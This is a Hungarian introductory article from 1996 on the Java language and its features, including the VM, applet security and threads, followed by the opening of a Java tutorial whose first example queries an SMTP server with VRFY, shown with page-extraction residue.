kiszolgálóval, ahonnan hozzánk került és a két gép tisztességes elosztott rendszerként buzgón kommunikálni kezd, abból pedig bármi kisülhet. A hagyományos böngészõk képesek arra, hogy az általuk ismert, elõre beprogramozott protokollokat HTTP, FTP, Gopher, News, . - használva felvegyék a kapcsolatot egy-egy kiszolgálóval és onnan adatokat töltsenek le, amelyeket, amennyiben a formátumát korábban ismerték - HTML, GIF, JPEG, . -, akkor megjelenítsék. Viszont ha az URL-ben (a kiszolgáló gépet és az ott tárolt információt megadó címben) ismeretlen protokollt adtunk meg, akkor szegény böngészõ kétségbeesetten széttárja a karját. Ha csak az adat formátuma ismeretlen, a helyzet egy fokkal jobb: a böngészõ letölti a teljes adathalmazt, majd - ha szerencsénk van - továbbpasszolja a megjelenítés feladatát egy másik programnak, legrosszabb esetben tárolhatja azt a helyi lemezünkön, hátha majd egyszer megértjük, mi van benne. A
Jávát értõ böngészõkben viszont a kiszolgálóról letöltött Jáva programok bõvíthetik a felhasználható kommunikációs protokollokat (protocol handler) és a megjeleníthetõ adattípusokat (content handler). applets Az önállóan futtatható programok (application) és a böngészõk által letölthetõ és futtatható "programkák" (applet) között nem nagy a különbség, legfeljebb csak a biztonsági meggondolások miatt a böngészõk szigorúbban figyelik, korlátozzák a hálózatról letöltött programkákat. Önálló programnál ilyen védelem nincs, a felhasználó nyilván tudja, mit és miért indított el. A halózaton letölthetõ programok ötlete új színt hoz az elosztott rendszerekben divatos ügyfélkiszolgáló paradigmába: a programok igény szerinti letöltése (distributed on demand) elmossa a kiszolgáló és az ügyfél közötti éles határokat. file:///E|/docs/Untitled/article.html (2 of 13)20040118 3:01:02 A Jáva
programozási nyelv Forrás: http://www.doksihu Röviden az elõzményekrõl Az 1990-es évek elején valahol a Sun berkeiben elindult egy kevéssé fontos projekt azzal a céllal, hogy a cég betörjön a felhasználói elektronikai piac egy új, az ún. "okos", processzorral vezérelt, programozható (smart) készülékeket alkalmazó területére. E készülékcsalád jellegzetes képviselõje a kábel-TV társaságok által használt vezérlõ (set-top box). Az ilyen készülékek programozásához igény volt olyan architektúra-független technológiára, amely lehetõvé tette a kész programok a hálózaton keresztül a készülékbe letöltését, megbízható futtatását. A projekt kezdetben a C++ nyelvet használta, ám a fejlesztõk ezt is, a többi, akkor hozzáférhetõ programozási nyelvet is alkalmatlannak találták a célkitûzéseik maradéktalan megvalósítására, hát új nyelvet terveztek maguknak. Kiindulási alapként a C++ nyelvet használták,
kigyomlálva belõle - az általuk - bonyolultnak, nem megbízhatónak talált szerkezeteket, hozzáadva innen-onnan átvett, hasznosnak tûnõ ötleteket, nyelvi elemeket. A felhasználói elektronikai alkalmazások lassabban fejlõdtek, mint azt elõre várták, a projekt szép csendben el is halt volna, ha közben az Internet hálózat nem indul rohamos fejlõdésnek. Szerencsére észrevették, hogy az Internet hálózat hasonló körülményeket teremt és hasonló igényeket támaszt egy új programozási technológiával szemben. A nyelv legfontosabb tulajdonságai About Egyszerû A nyelv szintaxisa és szemantikája nagyban hasonlít a sokak által ismert C illetve C++ programozási nyelvhez, megkönnyítve a kezdeti ismerkedést. A C++ nyelvbõl elhagytak néhány - programozói vagy fordítóprogram írói szempontból - bonyolult elemet. Kimaradt például az operátorok felüldefiniálásának lehetõsége (operator overloading), a többszörös öröklõdés. Eltûnt a
goto utasítás, az automatikus típuskonverziók (coercion), az összetett adatszerkezetek közül a union, illetve C++ban már amúgy is szükségtelen struct. Azért szerencsére nem gyomláltak ki mindent a C++-ból, megmaradt például a futásidejû hibák lekezelésének mechanizmusa, az. ún kivételkezelés (exception handling). Bár az "igazi programozók" megkönnyezik az eltávozott goto utasítást, de helyette címkézett ciklusokat, többszintû break és continue utasítást kaptunk. Sokaknak elsõre - többeknek talán másodszorra is - furcsa, de a Jáva nem használ mutatókat (pointer), egy csapásra megszûntetve ezzel a C programozók kedvelt programozási hibáinak egész seregét. A programozó munkáját nagymértékben file:///E|/docs/Untitled/article.html (3 of 13)20040118 3:01:02 A Jáva programozási nyelv Forrás: http://www.doksihu megkönnyíti az is, hogy a nyelv automatikusan felszabadítja a már nem használt tárterületeket
(szemétgyûjtés, garbage collection). Ízelítõül álljon itt a kötelezõ "Szervusz világ" program egy kicsit módosított változata, amely az elsõ paraméterben megadott szöveget írja ki a "World" helyett, már amennyiben van ilyen. class HelloWorldApp { public static void main (String args[]) { System.outprintln("Hello "); if (args.length == 0) System.outprintln("World!"); else System.outprintln(args[0] + "!"); } } Objektum- Manapság az objektumorientáltság divatos programozási paradigma, bár a orientált szakirodalom nem teljesen egységes a kritériumainak meghatározásában. A Jáva lényegében a C++ objektumorientált tulajdonságait tartalmazza. A programozó absztrakt adattípusként viselkedõ osztályokat definiálhat, az osztályok mûveleteket módszereket - tartalmaznak, amelyek a rejtett adatreprezentáción (egyedváltozók) operálnak. Létrehozhatunk objektumokat, azaz egyes osztályokba tartozó
egyedeket Osztályok definiálásánál felhasználhatunk már meglévõ osztályokat, az új osztály (a leszármazott) örökli a szülõ adatait, módszereit. A módszerek hívásánál a meghívott módszer futási idõben, objektum aktuális típusának megfelelõen kerül kiválasztásra (virtuális módszerek, polimorfizmus). Az egyes osztályokban definiált változók és módszerek láthatóságát a C++-ban megismert módon - private, protected és public - lehet megadni. Eltérést jelent a C++-hoz képest, hogy a Jávában a beépített, egyszerû adattípusú numerikus, logikai és karakter típus - változók kivételével minden objektum; az egyetlen összetett adattípus, a tömb (array) teljes értékû osztályként viselkedik. A program nem tartalmaz globális változókat és globális eljárásokat, minden adat és eljárás valamilyen objektumhoz, esetleg osztályhoz kötõdik. Persze a C++-t ismerõk tudják, hogy a globális változókat és függvényeket
helyettesíteni lehet ún. osztályváltozókkal és statikus függvényekkel, ezek itt is használhatók. A Jávában minden módszerhívás - a fent említett statikus módszerek kivételével file:///E|/docs/Untitled/article.html (4 of 13)20040118 3:01:02 A Jáva programozási nyelv Forrás: http://www.doksihu virtuális. A C++-hoz hasonlóan lehetõségünk van az egyes objektumok típusát futási idõben lekérdezni (ez a C++-ban is viszonylag új nyelvi elem az ún. RTTI, Run-Time Type Interface), sõt itt akár az osztályok forrásprogramban definiált nevét futás közben is felhasználhatjuk például objektumok létrehozására. Az osztályok mellett a Jáva az Objective-C programozási nyelvbõl átvette az Interface fogalmat. Az Interface nem más, mint módszerek egy halmaza - adatszerkezeteket, egyedváltozókat nem tartalmaz -, amelyet egyes osztályok megvalósíthatnak (implementálhatnak). A Jáva a C++-szal ellentétben nem engedi meg a többszörös
öröklõdést, viszont Interface-ek használatával, egyszerûbben, kevesebb implementációs problémával hasonló hatást lehet elérni. Architektúra- Napjaink hálózatait heterogén hardver- és szoftver architektúrájú számítógépek független alkotják. A programok fejlesztését nagymértékben megkönnyítené, ha a forráskódból és hordozható elõállított program bármely architektúrán azonos módon futna. Ezen cél elérése végett a Jáva nyelv nem tartalmaz architektúra- vagy implementációfüggõ elemeket. A C nyelvvel ellentétben a beépített adattípusok (pl. int) mérete - tárolásához szükséges memória mérete, a típus értelmezési tartománya - nyelvi szinten meghatározott. Ahhoz, hogy a lefordított program változtatás nélkül futtatható legyen különbözõ hardver architektúrákon, a fordítóprogram a programot nem egy konkrét processzor gépi kódjára, hanem egy képzeletbeli hardver - virtuális gép (virtual machine)
utasításrendszerére fordítja le. Az így létrejött közbülsõ, ún Byte kódot töltjük le a célarchitektúrára, ahol a virtuális gépet megvalósító program értelmezi és hajtja végre. A hordozhatóság nem csak a virtuális gépi utasítások, hanem a nyelv mellet szabványosított rendszerkönyvtárak szintjén is jelentkezik, ezek a könyvtárak valósítják meg a legfontosabb, operációs rendszerekhez kötõdõ feladatokat, mint például a be- és kiviteli rendszert, vagy a programok grafikus kezelõi felületét. Egy új architektúrán akkor futtathatók a Jáva programok, ha már implementálták rá a virtuális gépet, beleértve a rendszerkönyvtárakat is. A virtuális gépet C-ben írták, a kód POSIX.1 szabványnak megfelelõ operációs rendszert tételez fel, így viszonylag kis munkával hordozható. A hordozhatóság érdekes aspektusa a fejlesztõi környezet hordozhatósága. A környezet egyes részei, mint például a fordítóprogram,
nyomkövetõ eszközök, vagy maga a HotJava böngészõ is Jáva nyelven íródott. Na és ha a Jáva programok hordozhatók, akkor hipp-hopp (?), az egész környezet is átkerült az új architektúrára. file:///E|/docs/Untitled/article.html (5 of 13)20040118 3:01:02 A Jáva programozási nyelv Forrás: http://www.doksihu Interpretált Az interpretált végrehajtás - kombinálva a klasszikus kapcsolatszerkesztõ (linker) és dinamikus helyett futás idejû betöltéssel - a fejlesztési ciklust nagy mértékben felgyorsítja. A Jávából eltûntek a C-bõl ismert header állományok, feltételes fordítás, más programállományok fordítás közbeni beolvasása (#include). A lefordított programok tartalmaznak a szerkesztéshez szükséges minden információt. Elég csak a megváltozott állományokat lefordítanunk - nincs szükség a C-nél megszokott make programra, a forrásállományok közötti függõségek feltérképezésére -, a program máris futtatható.
Egyébként a Jáva támogatja a nagybani programozást, összetartozó osztályok egy csomagba (package) foghatók, egyszerre fordíthatók. A láthatóság is figyelembe veszi a csomagokat, a C++ explicit friend deklarációjának szerepét itt a csomagra - de csak a csomagra - vonatkozó láthatóság veszi át. A kapcsolatszerkesztõ helyét az ún osztálybetöltõ (class-loader) veszi át, amely futás közben - ha szükség van rá - betölti az egyes osztályokat megvalósító lefordított, Byte kódú programállományokat. Az osztály-betöltõ nem csak helyi állományokból, de szükség esetén a hálózaton keresztül is képes kódot letölteni. Többek között a betöltõ feladatának megkönnyítése végett a Byte kód tartalmaz a forráskódból átvett szimbolikus- illetve típus információkat. Lássunk egy példát arra, hol jöhet jól ez az információ. Az objektumorientált programozási paradigma egyik nagy ígérete, hogy általános célú, könnyen
felhasználható osztály-könyvtárakat, "szoftver-IC-ket" hozhatunk létre a segítségével. Sajnos a C++ nyelv ilyen tekintetben nem váltotta be teljesen a hozzá fûzött reményeket. Nagyon nehéz olyan osztályokat tervezni, amelyeket késõbb nem kell majd úgy módosítani, hogy ne kelljen azt például új - bár a programozók elõl rejtett - adatkomponensekkel vagy módszerekkel bõvíteni. Bár az osztály külsõ interfésze nem feltétlen változott meg, ám a C++ az osztály reprezentációját, tárbeli elrendezését kihasználó fordítási mechanizmusa miatt ilyenkor az összes, a megváltozott osztályt - akár csak öröklésen keresztül - felhasználó programot újra kell fordítani. Ezt hívják "törékeny alaposztály" (fragile base class) problémának A Jáva ezt a problémát úgy kerüli meg, hogy az osztályok adatkomponenseire, módszereire a Byte kódban is szimbolikusan hivatkoznak, a hivatkozások konkrét címekké kötése
csak futási idõben, a virtuális gépben történik meg. A közbülsõ kódban megmaradt szimbolikus információk megkönnyítik a programok nyomkövetését. Sajnos az interpretált végrehajtásnak van egy nagy hátránya is, a programok sokkal - becslések szerint 10-20-szor - lassabban futnak, mint a gépi kódú megfelelõik. Bár a virtuális gép elég ügyesen lett kitalálva és a fordítóprogram is mindent megtesz azért, hogy ezt a virtuális architektúrát a lehetõ legjobban kihasználja, de még így sem vetekedhet a gépi utasítások sebességével. Ehhez még hozzáadódik a szimbolikus hivatkozások feloldásának ideje, a különbözõ betöltési- és futásidejû ellenõrzések - ld. késõbb -, a tárgazdálkodási modellel járó szemétgyûjtési algoritmus futásához szükséges idõ. file:///E|/docs/Untitled/article.html (6 of 13)20040118 3:01:02 A Jáva programozási nyelv Forrás: http://www.doksihu E lassúság ellen jelenleg nem sokat tehetünk,
legfeljebb azzal vigasztalhatjuk magunkat, hogy az alkalmazások jelentõs részénél - gyakori felhasználói közremûködést, vagy hálózati kommunikációt igénylõ programoknál - a program sebessége nem a legfontosabb követelmény. Persze a Jáva programok meghívhatnak gépi kódú (native) eljárásokat is, de ezzel elvesztjük az architektúra- függetlenség, hálózaton letölthetõség tulajdonságát. De bejelentettek olyan fordítóprogramot is, amely közvetlenül gépi kódra fordít. Legígéretesebbnek az úgynevezett "röptében fordítás" (just-in-time, on-the-fly compilation) ötlete tûnik. A Byte kód úgy tele van tömve szimbolikus információkkal, hogy elvileg nem nehéz - ezt kiindulási nyelvnek tekintve - optimalizáló fordító programot írni hozzá. Ráadásul a virtuális gép utasításrendszere nagyon hasonlít napjaink processzoraiéhoz, könnyû belõle jó kódot generálni. A fordítás történhet az egyes osztályok
betöltésekor - a szükséges ellenõrzések után -, esetleg végrehajtás közben. Futás közben esetleg az is eldõlhet, hogy érdemes-e az adott programrészletet lefordítani, mert gyakran használjuk, avagy megmaradhat interpretáltnak. Másik érdekes kísérlet, hogy a Sun a Jáva virtuális gépet sziliciumon is megvalósítja, hamarosan kaphatók olyan mikroprocesszorok, amelyek a Jáva Byte kódot közvetlenül futtatják. Robusztus Ez a két fogalom a Jáva esetében kéz a kézben jár. Robusztus egy nyelv, ha és biztonságos megakadályozza vagy futás közben kiszûri a programozási hibákat, biztonságos, ha megakadályozza, hogy rosszindulatú programok kerüljenek a rendszerünkbe. Mindkét célkitûzés eléréséhez gyakran hasonló módszereket használhatunk. A robusztusság nyelvi szinten a szigorú, statikus típusosságban jelenik meg. Minden adatnak fordításkor jól definiált típusa van, nincsenek automatikus konverziók, az explicit konverzió csak
kompatibilis típusoknál sikerül, egyébként legkésõbb futtatáskor programhibát (exception) okoz. A mutatók eltûnésével rengeteg potenciális hibalehetõség eltûnt a nyelvbõl - pl. NULL pointer hivatkozás, levegõben lógó mutatók -, persze elvesztettük az "igazi programozók" egyik kedvencének, az inteknek és a mutatóknak ide-oda alakítgatásának lehetõségét is. A dinamikus szemétgyûjtés megkímél bennünket a hasznos memória elszivárgásától (memory leak). Az egyedüli összetett adatszerkezet, a tömb használatakor a túlcímzést futási idõben ellenõrzik. Az osztály-betöltõ arra is figyel, hogy a módszereket megfelelõ típusú paraméterekkel hívjuk meg. A biztonság (security) a robusztussággal kezdõdik, a fordító csak korrektül viselkedõ programokat ad ki magából. Ez elegendõ lehet önálló alkalmazásoknál, de a programkák letöltésénél ennél többre van szükség. Kezdjük azzal, hogy ki garantálja, hogy a
letöltött Byte kódot valóban egy megbízható Jáva fordító hozta létre, nem pedig file:///E|/docs/Untitled/article.html (7 of 13)20040118 3:01:02 A Jáva programozási nyelv Forrás: http://www.doksihu egy bit-betyár barkácsolta össze a hexadecimális szerkesztõjével? A Byte kód minden utasítása információt tartalmaz az operandusok típusáról, az osztály-betöltõ függetlenül attól, hogy a helyi háttértárról vagy a hálózatról tölt be - ellenõrzi, hogy a program megfelel-e a nyelv szabályainak. Eldönti például, hogy minden operandus valóban a megfelelõ típusú, nem használjuk ugyanazt az adatot más-más típusúként is. Ellenõrizhetõ az is, hogy a módszerek a vermüket konzisztensen használják-e, valamint hogy a kód nem fér-e hozzá számára nem engedélyezett - a nyelv definíciója szerint láthatatlan, rejtett - adatkomponensekhez, módszerekhez. A betöltõ egy hivatkozott osztályt elõször mindig a helyi háttértárból
próbál betölteni, csak akkor fordul a hálózaton elérhetõ kiszolgálóhoz, ha az osztály nincs meg a helyi rendszeren. Így elkerülhetõ, hogy trójai falóként valamelyik rendszerkönyvtár helyett azonos nevû, távolról betöltött programot futtassunk. Ha a betöltött programkák átjutottak a betöltõ konzisztencia-ellenõrzésén, akkor a virtuális gép felügyelete alatt kezdenek futni, ez ellenõrzi, hogy a programok csak engedélyezett tevékenységet hajtanak végre. Szigorúan szabályozott - vagy teljesen tiltott - például helyi állományokhoz való hozzáférés, tiltott más helyi programok indítása, jelentõsen korlátozott a hálózaton felvehetõ kapcsolatok címzettje. Sajnos ezen biztonsági szabályok erõsen korlátozzák a programkák képességeit. Biztonsági szempontból legfeljebb a helyi rendszerbõl betöltött - többé-kevésbé megbízható -, illetve hálózatról letöltött - eleve gyanús - osztályok között lehet különbséget
tenni. Késõbbiekben lehetõség lesz nyilvános kulcsú titkosítás segítségével azonosítható forrású, garantáltan eredeti, változatlan, "megbízható" programok letöltésére és futtatására is. Többszálú A programok jelentõs része párhuzamosan végrehajtható részletekre - vezérlési szálakra - bontható. Így jobban kihasználható a számítógép központi egysége, a programok a külsõ - például felhasználói - eseményekre gyorsabban reagálhatnak. Az egymással kommunikáló, viszonylag laza kapcsolatban álló szálakra bontott feladat könnyebben áttekinthetõ, megvalósítható és belõhetõ. A többszálú programozáshoz a Jáva nyelvi szinten biztosítja az automatikus kölcsönös kizárást: szinkronizált (synchronized) módszerek vagy utasítások, valamint a szálak létrehozásához, szinkronizációjának megvalósításához a rendszerkönyvtár tartalmaz egy ún. Thread osztályt. A Thread osztály a Hoare-féle feltételes
változók (conditional variable) modelljét követi. Természetesen az összes, a rendszerkönyvtárakban definiált osztály használható többszálú programokból anélkül, hogy aggódnunk kellene az esetleges hibás mûködés miatt (thread-safeness). A Jáva virtuális gép a szálak futtatásához prioritáson alapuló preemptív - de nem feltétlenül idõosztásos - ütemezõt tartalmaz. Ez magyarázza például azt, hogy - a jelentõs felhasználói igények ellenére - nem született még Jáva virtuális gép a file:///E|/docs/Untitled/article.html (8 of 13)20040118 3:01:02 A Jáva programozási nyelv Forrás: http://www.doksihu Microsoft Windows 3.1-es - csak kooperatív ütemezést tartalmazó - rendszerére A többszálú programozás támogatása ellenére a Jáva nyelv - legalábbis mostani változatában - valósidejû programok írására nem alkalmas. A virtuális gép nem tartalmaz határidõs ütemezési képességeket, de még a prioritás-öröklést sem
ismeri, a jelenleg implementált szemétgyûjtõ algoritmus sem alkalmas valósidejû futtatásra - bár ez utóbbi a virtuális gép "magánügye", a programok változtatása nélkül könnyen lecserélhetõ. Elosztott A Jáva technológiát beharangozó ismertetõk mindenhol kiemelik, hogy a technológia elosztott (distributed) rendszerek létrehozását támogatja. Itt azért én megjegyezném, hogy az elosztottság eléggé cseppfolyós fogalom, a Jáva jelenleg sokkal kevesebbet tud, mint amit sokak - köztük én is - szeretnének. Az elosztottság jelenleg két formában jelenik meg: mint már említettem, az osztálybetöltõ képes Jáva Byte kódot a hálózaton letölteni. Ezen túl a rendszerkönyvtárak tartalmaznak a TCP/IP protokollcsalád alacsonyabb, szállítási (TCP és UDP), valamint magasabb, alkalmazói (pl. FTP, HTTP) szintû protokollok kezélésére szolgáló osztályokat. De egy Jáva program nem elosztott objektumorientált rendszer, nincs mód
távoli objektumok létrehozásra, transzparens távoli módszerhívásra. Viszont komoly, biztató kisérletek történnek a Jáva és a CORBA (Common Object Request Broker Architecture) összeházasítására, de láttam már a hálózaton CORBA-tól független, de hasonló funkciókat nyújtó kisérleti osztály-könyvtárat is. Összefoglalás Surfer Duke A Jáva számos fent felsorolt tulajdonsága miatt érdekes, figyelemre méltó programozási nyelv; a nyelv tervezõi sokat tanultak a korábbi tapasztalatokból. Bár véleményem szerint a C++-t, mint objektumorientált nyelvet a közeljövõben nem fogja kiszorítani, de bizonyos - nem túl nagy méretû, interaktív, grafikus felhasználói felületû - feladatok megoldásánál hódítani fog. Az pedig, hogy szorosan összefonódik a World Wide Web-el, garantálja a rohamos elterjedését, szinesebbé, gazdagabbá téve az Internet hálózat világát. Bár nem kell feltétlenül hálózathoz kötõdnie: nem lennék
meglepve, ha hamarosan multimédiás CD-k lejátszásához is Jávával felcsinosított böngészõket használnánk. Persze a Jáva képességeivel nem egyedülálló napjaink számítástechnikájában. Hasonló úton indult el az Apple a Dylan rendszerével, a Microsoft pedig a Blackbird-del, emlegetnek egy Python nyelvet, a Free Software Foundation is foglalkozik virtuális gépen alapuló program-interpretálással és még lehetne sorolni a hasonól célú nyelveket, rendszereket. file:///E|/docs/Untitled/article.html (9 of 13)20040118 3:01:02 A Jáva programozási nyelv Forrás: http://www.doksihu Ha a Jáva nyelv mégis elterjed - márpedig szerintem erre minden esély megvan -, akkor ehhez hozzájárul a jó reklám, az ügyes marketing stratégia valamint a felhasználók és legfõképpen a szoftvergyártók erkölcsi és anyagi támogatása. Márpedig a szoftvergyártók tényleg ráharapni látszanak az új technológiára, olyannyira, hogy reménytelennek látszik
teljes felsorolást adni azokról a cégekrõl, amelyek csatlakoztak, forrás licenszet vásároltak. Remélem nem sértem meg a kimaradókat, a teljesség igénye nélkül: a Sun-nál külön részleget hoztak létre a Jáva fejlesztésekre. A WWW szempontjából talán a legjelentõsebb esemény, hogy a Netscape megvásárolta a technológiát és integrálja az új böngészõjébe. Windows 95 alatti fejlesztõrendszerrel jelent meg a Symantec, hasonló termék kifejlesztését jelentette be a Borland, megvásárolta a technológia felhasználási jogát az IBM, sõt még a Microsoft is komolyan érdeklõdik. Ha már a licenszekrõl beszéltem: nincs szükség licenszre ahhoz, hogy valaki Jáva programot illetve programkákat fejlesszen, a lefordított programot terjessze. Azon OEM szoftverfejlesztõk, akik a Jáva technológiát integrálni akarják termékeikbe, forrás licenszet vásárolhatnak. A Jáva technológiához kapcsolódóan csomó név és grafika a Sun - regisztrált
- védjegye. Ezek közül a cikk elején látott Duke és a HotJava szimbóluma, a gõzölgõ kávéscsésze csak a Sun által használható. Hamarosan lesz egy ún. "Jávával turbósított" (Java Powered) grafika az olyan WWW lapokhoz, amelyek Jáva programkákat tartalmaznak, valamint egy "Jávával kompatibilis" (Java Compatible) grafika azon OEM termékeknek, amelyek elõállítói megvásárolták a forrás licenszet, termékükbe beépítették ezt a technológiát - pl. új architektúrára implementálták a virtuális gépet - és sikeresen megfeleltek a - most készülõ - kompatibilitási tesztnek. Ha valaki Jáva programokat akar fejleszteni, legegyszerûbb, ha a Sun-tól ingyenesen letölthetõ Jáva Fejlesztõi Csomagot (Java Development Kit) használja, ami tartalmaz egy fordítóprogramot (javac), egy nyomkövetõt, hibakeresõt (jdb) a futtatáshoz szükséges virtuális gépet és egy a programkákat futtató alkalmazást (AppletViewer). A Sun a
JDK-t csak a Solaris 2x, Windows 95 és Windows NT operációs rendszerekre készítette el, de más fejlesztõk nagyon sok egyéb elterjedt operációs rendszerre is hordozták. Igen, van a Linux-on is Komoly fejlesztéshez használhatók az integrált fejlesztõi környezetek (Integrated Development Environment, IDE), jelenleg a legismertebbek a Sun, a Microsoft és a Symantec termékei. A programkák futtatására pedig jók például a Netscape Navigator, illetve a Microsoft Internet Explorer Web böngészõk is. A Netscape csaknem minden elterjedt architektúrán fut, a Microsoft egyelõre csak a Windows 95/NT rendszeren, bár mindkét cég igéri a Windows 3.11-es változatát is Végezetül néhány kérdés, kétely Duke A Jáva technológia hatalmas léptekkel fejlõdik. Látszólag nagy a nyomás fejlesztõgárdán, hogy minél hamarabb "végleges" változattal álljanak elõ. A nagy sietségben maradhatnak a rendszerben átgondolatlan, elnagyolt megoldások.
"Jó" - azaz rossz - példa erre a grafikus programozási könyvtár (AWT, Abstract Windowing Toolkit) esete, amelyet az alfa és béta verzió között teljesen átírtak, file:///E|/docs/Untitled/article.html (10 of 13)20040118 3:01:02 A Jáva programozási nyelv Forrás: http://www.doksihu de, bár mûködik, - nem csak - nekem még ez a mostani sem nagyon tetszik: a fejlesztõk beismerték, hogy a Netscape sürgette õket. Persze az objektumorientált könyvtárak bõvíthetõk, akár lecserélhetõk is, de nem mindegy, mi kerül az 1.0-s verzió specifikációba "Ami tapad az ragad", a korábbi verziókkal való kompatibilitás megõrzése miatt a rendszerek teherként hurcolják magukkal az elsõ verziók elsietett döntéseit. Az sem látszik még, hogy a technológiát mennyire fogja egy-két erõs cég a saját érdekeinek megfelelõ irányba elvinni, avagy megmarad-e szélesebb körû érdekeket, véleményeket tükrözõ, nyílt technológiának. A C++
nyelvre is ráfért az elmúlt években bekövetkezett, széles felhasználói kört megmozgató tisztázási, szabványosítási eljárás, gondolom a Jávának sem ártana. Nem látom például, hogy azon felül, hogy a Jáva karakterei 16 bites Unicode rendszerben vannak ábrázolva, valaki foglalkozna a nemzetköziesítés (internalization) kérdéseivel. Sokan attól is félnek, hogy a "végleges" verzió megjelenése után a SUN szigorít a licensz politikáján, túl költségessé teszi a fejlesztõrendszerét, vagy pl. a HotJava-t A WWW hálózat terjedésében jelentõs szerepet játszott az a tény, hogy a szükséges programok - kiszolgálók is, böngészõk is - szabadon hozzáférhetõk, ingyenesek voltak. Bár jelenleg a Netscape uralni látszik a böngészõk piacát, de nem biztos, hogy mindenki meg tudja, vagy akarja fizetni ennek az árát. Kérdés, hogy más kereskedelmi, vagy szabadon terjesztett böngészõk mennyire veszik át a Jáva technológiát,
a WWW szerverek üzemeltetõi, a HTML lapok szerzõi mekkora potenciális, Jávát értõ olvasótáborra számíthatnak. Kiváncsi vagyok, hogy a felhasználók - fõleg a nagy cégek - mennyire fogadják el a rendszerbe beépített biztonsági mechanizmusokat. Elsõ ránézésre megbízhatónak - ha néha túl korlátozottnak is - tûnik a rendszer, ám tapasztalatok szerint a vírusírók zseniálisak. Ha elõbukkan néhány biztonsági luk, a felhasználók bizalma hamar megcsappanhat, elvégre a hálózaton letöltött programok hiányos védelmi rendszer mellett potenciálisan hatalmas zûröket okozhatnak a helyi rendszerben. Mindezen kérdések ellenére én bizalommal tekintek a Jáva jövõjére. Lábjegyzetek 1 Talán sokan emlékeznek rá, hogy a SUN-nál már korábban is kitaláltak olyan érdekes, innovatív technológiákat, amelyek az üzleti vetélytársaknak nem nagyon tetszettek. Volt egyszer például egy News ablakozó rendszer, ami ellen elkezdték támogatni az
MIT-n folyó X Window rendszer fejlesztést és létrehozták az X Konzorcium-ot. Késõbb a SUN beadta a derekát, õ is átállt az X-re, de ragaszkodott a saját ablakkezelõjéhez, az OpenWindows-hoz. Hát ezt sem szerették, így létrejött a Motif, és a SUN újra beadta a derekát . 2 file:///E|/docs/Untitled/article.html (11 of 13)20040118 3:01:02 A Jáva programozási nyelv Forrás: http://www.doksihu Bár itt Magyarországon a Jáva szót hallva az Indonéz szigetvilág egyik legnagyobb szigetére gondolunk, az amerikaiak inkább - a kezdetben onnan importált - kávéra (az elkészített italra) asszociálnak. Ezért találhatók a témakörben olyan elnevezések, mint HotJava, Digital Espresso Fontosabb WWW címek Elsõdleges információforrások Sun JavaSoft részlegének címlapja Jáva 1.0 Fejlesztõi készlet Java World elektronikus újság Jáva hírcsoport Digital Espresso, hetenkénti összefoglalója a Jáva világ eseményeinek Jáva
gyûjtemények Yahoo Jáva gyûjteménye Gamelan Directory: a legnagyobb Jávával kapcsolatos gyûjtemény "Jáva Fejlesztõknek" a Digital Focus-tól John December összeállítása az online Jáva információkról Jáva Virtuális Könyvtár (ACM) Java User Resource Network Programkák a JavaSoft-nál Jáva GYIK-ok (Gyakran Ismétlõdõ Kérdések, FAQ) Jáva GYIK-ok gyûjtemény Eliotte Rusty Harold GYIK-ja comp.langjava GYIK-ja Bevezetõk a Jávával ismerkedõknek Sun bevezetõje file:///E|/docs/Untitled/article.html (12 of 13)20040118 3:01:02 A Jáva programozási nyelv Forrás: http://www.doksihu Eliotte Rusty Harold bevezetõje Nelson Yu bevezetõi a Jáváról és az AWT-rõl "Hogyan kell ." a Digital Focus-tól Java Workshop (Thingtone) Jáva könyvekrõl A már megjelent és megjelenés elõtt álló könyvekrõl The Java Series at Addison Wesley Kiss István updated: 96/06/15,
http://www.eunethu/infopen/cikkek/java/articlehtm file:///E|/docs/Untitled/article.html (13 of 13)20040118 3:01:02 A Jáva programozási nyelv rejtelmei Forrás: http://www.doksihu A Jáva programozási nyelv rejtelmei Tartalomjegyzék: Az alapok Egy példaprogram A program szerkezete Változók és értékek Megjegyzések a programban A fõprogram Vezérlési szerkezetek Kivételkezelés A program törzse Módszerek Hálózati kommunikáció Fordítás, futtatás Objektumorientált programozás Jáva módra Absztrakt adattípusok létrehozása Objektumok Osztályok definíciója Egyedváltozók Módszerek Konstruktorok Osztályváltozók és -módszerek Tömbök Szövegek Pakkok Láthatóság Öröklõdés és következményei Osztályok leszármaztatása Láthatóság Mi öröklõdik, és mi nem Polimorfizmus Interfészek Szálak Szálak létrehozása file:///E|/docs/Untitled/javaprog.html (1 of 34)20040118 3:01:04 A Jáva programozási nyelv rejtelmei Forrás:
http://www.doksihu Szálak futása Ütemezés Szinkronizáció és kommunikáció Programkák Különbségek a programkák és a programok között A programkák szerkezete A futás vezérlése Rajzolás Programkák egy Web oldalon Az alapok Ismeretes, hogy a Jáva nyelv a C++ nyelvbõl született, sok helyen egyszerûsítve, esetenként bõvítve azt. Az ismertetõben feltételezem, hogy az olvasó legalább a C nyelvet alaposan ismeri, bár C++ nyelv, illetve az objektumorientált programozás fogalmainak ismerete sem árthat. Azt is remélem, hogy az olvasó nem riad vissza, ha az Internet hálózat világából vett szolgáltatásokat, protokollokat emlegetek. Egy példaprogram Tapasztalataim szerint egy programozási nyelvet a száraz ismertetés helyett példákat követve könnyebb megérteni. Persze nem könnyû az ismerkedés elejére érthetõ, rövid, de nem túlzottan egyszerû példát találni és sajnos a "Szervusz világ!" programot már megmutattam. A
bevezetõ példa a Internet hálózat világába visz el bennünket. A drótposta (email) továbbítására itt az ún. SMTP (Simple Mail Transfer Protocol) protokoll használatos A levéltovábbító programok (Message Transfer Agent, általában a sendmail program) a 25-ös TCP kapun várakoznak arra, hogy valaki kiépítse velük a kapcsolatot, ha a kapcsolat létrejött, egy nagyon egyszerû, karakterorientált párbeszédbe kezdenek a hívóval. A párbeszéd ritkán használt, de néha nagyon hasznos parancsa, a VRFY (Verify) segítségével megkérdezhetjük egy SMTP kiszolgálótól, hogy egy adott nevû felhasználónak van-e a gépen postaládája. A mi programunk pontosan ezt csinálja, a java SMTPclient host user parancs hatására a host számítógép SMTP szerverétõl a user felhasználó felõl érdeklõdik, a kapott választ pedig kiírja a konzolra. file:///E|/docs/Untitled/javaprog.html (2 of 34)20040118 3:01:04 A Jáva programozási nyelv rejtelmei Forrás:
